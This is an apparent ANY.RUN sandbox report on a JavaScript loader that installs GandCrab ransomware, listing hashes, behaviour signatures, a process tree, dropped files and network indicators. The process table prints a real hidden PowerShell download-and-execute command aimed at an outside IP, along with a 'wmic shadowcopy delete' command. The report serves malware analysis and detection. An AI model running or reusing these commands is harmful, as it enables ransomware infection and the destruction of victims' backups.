analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Love_You_2019_436678208-txt.js

Full analysis: https://app.any.run/tasks/8387ffe9-088c-419b-907d-60828a9b2720
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: January 17, 2019, 14:18:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
ransomware
gandcrab
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, CR line terminators
MD5:

136C74B7A28392C9444FE7C57CEF8CC8

SHA1:

D8250107D9A0C09D88635024AFF0975C06DEBBF7

SHA256:

D91D6FAD59186B2FB5449F0303C7D67F67C98D2FE1AC2DD4F5898E8AD29ADB1F

SSDEEP:

192:hs3ch+91j67D7OmOiI7WPoDOirD1v07mU/g2XOjarpT47hf:hsMhL7soEhU/Qar+hf

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • TempUtN19.exe (PID: 456)
      • winsvcs.exe (PID: 3436)
      • 2548811518.exe (PID: 3484)

    • Executes PowerShell scripts

      • cmd.exe (PID: 4076)

    • Changes the autorun value in the registry

      • TempUtN19.exe (PID: 456)

    • Downloads executable files from IP

      • powershell.exe (PID: 2772)
      • winsvcs.exe (PID: 3436)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2772)
      • winsvcs.exe (PID: 3436)

    • Disables Windows Defender Real-time monitoring

      • winsvcs.exe (PID: 3436)

    • Changes Security Center notification settings

      • winsvcs.exe (PID: 3436)

    • Disables Windows System Restore

      • winsvcs.exe (PID: 3436)

    • GandCrab keys found

      • 2548811518.exe (PID: 3484)

    • Actions looks like stealing of personal data

      • 2548811518.exe (PID: 3484)

    • Renames files like Ransomware

      • 2548811518.exe (PID: 3484)

    • Deletes shadow copies

      • 2548811518.exe (PID: 3484)

    • Writes file to Word startup folder

      • 2548811518.exe (PID: 3484)

    • Dropped file may contain instructions of ransomware

      • 2548811518.exe (PID: 3484)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2772)
      • TempUtN19.exe (PID: 456)
      • winsvcs.exe (PID: 3436)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 3008)

    • Creates files in the user directory

      • powershell.exe (PID: 2772)
      • 2548811518.exe (PID: 3484)

    • Starts itself from another location

      • TempUtN19.exe (PID: 456)

    • Creates files in the program directory

      • 2548811518.exe (PID: 3484)

    • Creates files like Ransomware instruction

      • 2548811518.exe (PID: 3484)

    • Reads the cookies of Mozilla Firefox

      • 2548811518.exe (PID: 3484)

  • INFO

    • Dropped object may contain TOR URL's

      • 2548811518.exe (PID: 3484)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
8
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start wscript.exe no specs cmd.exe no specs powershell.exe temputn19.exe winsvcs.exe #GANDCRAB 2548811518.exe wmic.exe vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3008"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Love_You_2019_436678208-txt.js"C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
4076"C:\Windows\System32\cmd.exe" /c JhCIFWVdRtYpjHOyekbEfrAMvgxaGB & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%UtN19.exe'); & start %temp%UtN19.exeC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2772powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','C:\Users\admin\AppData\Local\TempUtN19.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
456C:\Users\admin\AppData\Local\TempUtN19.exe C:\Users\admin\AppData\Local\TempUtN19.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3436C:\Users\admin\66087085470750\winsvcs.exeC:\Users\admin\66087085470750\winsvcs.exe
TempUtN19.exe
User:
admin
Integrity Level:
MEDIUM
3484C:\Users\admin\AppData\Local\Temp\2548811518.exeC:\Users\admin\AppData\Local\Temp\2548811518.exe
winsvcs.exe
User:
admin
Integrity Level:
MEDIUM
2476"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\system32\wbem\wmic.exe
2548811518.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3604C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
504
Read events
375
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
432
Text files
318
Unknown types
14

Dropped files

PID
Process
Filename
Type
2772powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ILZ8I04NW9ZZOYMDHR53.temp —
MD5:—
SHA256:—
34842548811518.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
34842548811518.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim —
MD5:—
SHA256:—
34842548811518.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.vljxykaijf —
MD5:—
SHA256:—
2772powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20e8dd.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
34842548811518.exeC:\VLJXYKAIJF-DECRYPT.txttext
MD5:11BE8B28965A917DCBAF7A72C9896CA3
SHA256:3065D1FBE4136F9C9A3F2C0DF2DDAED97F4CA7B64EABC44EC850ED274A721CFB
34842548811518.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\VLJXYKAIJF-DECRYPT.txttext
MD5:11BE8B28965A917DCBAF7A72C9896CA3
SHA256:3065D1FBE4136F9C9A3F2C0DF2DDAED97F4CA7B64EABC44EC850ED274A721CFB
34842548811518.exeC:\System Volume Information\SPP\OnlineMetadataCache\{05ed3515-06b3-48f6-8cf2-bf24b1bf0727}_OnDiskSnapshotProp —
MD5:—
SHA256:—
3436winsvcs.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\1[1].exeexecutable
MD5:E387BD817E9B7F02FA9C2511CC345F12
SHA256:39514226B71AEBBE775AA14627C716973282CBA201532DF3F820A209D87F6DF9
3436winsvcs.exeC:\Users\admin\AppData\Local\Temp\2548811518.exeexecutable
MD5:E387BD817E9B7F02FA9C2511CC345F12
SHA256:39514226B71AEBBE775AA14627C716973282CBA201532DF3F820A209D87F6DF9
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
28
TCP/UDP connections
7
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3436
winsvcs.exe
GET
—
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
—
—
malicious
3436
winsvcs.exe
GET
200
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
executable
361 Kb
malicious
3436
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/3.exe
RU
html
178 b
malicious
3436
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/2.exe
RU
html
178 b
malicious
3436
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/2.exe
RU
html
178 b
malicious
3436
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
3436
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
3436
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/5.exe
RU
html
178 b
malicious
2772
powershell.exe
GET
200
92.63.197.153:80
http://92.63.197.153/mcdonalds.exe
RU
executable
278 Kb
malicious
3436
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/5.exe
RU
html
178 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3484
2548811518.exe
138.201.162.99:443
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
3436
winsvcs.exe
92.63.197.153:80
—
—
RU
malicious
2772
powershell.exe
92.63.197.153:80
—
—
RU
malicious
3484
2548811518.exe
138.201.162.99:80
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 138.201.162.99
malicious
kakaocorp.link
  • 138.201.162.99
malicious

Threats

PID
Process
Class
Message
2772
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2772
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2772
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2772
powershell.exe
Misc activity
ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
3436
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3436
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
3436
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3436
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
3436
winsvcs.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3436
winsvcs.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Love_You_2019_436678208-txt.js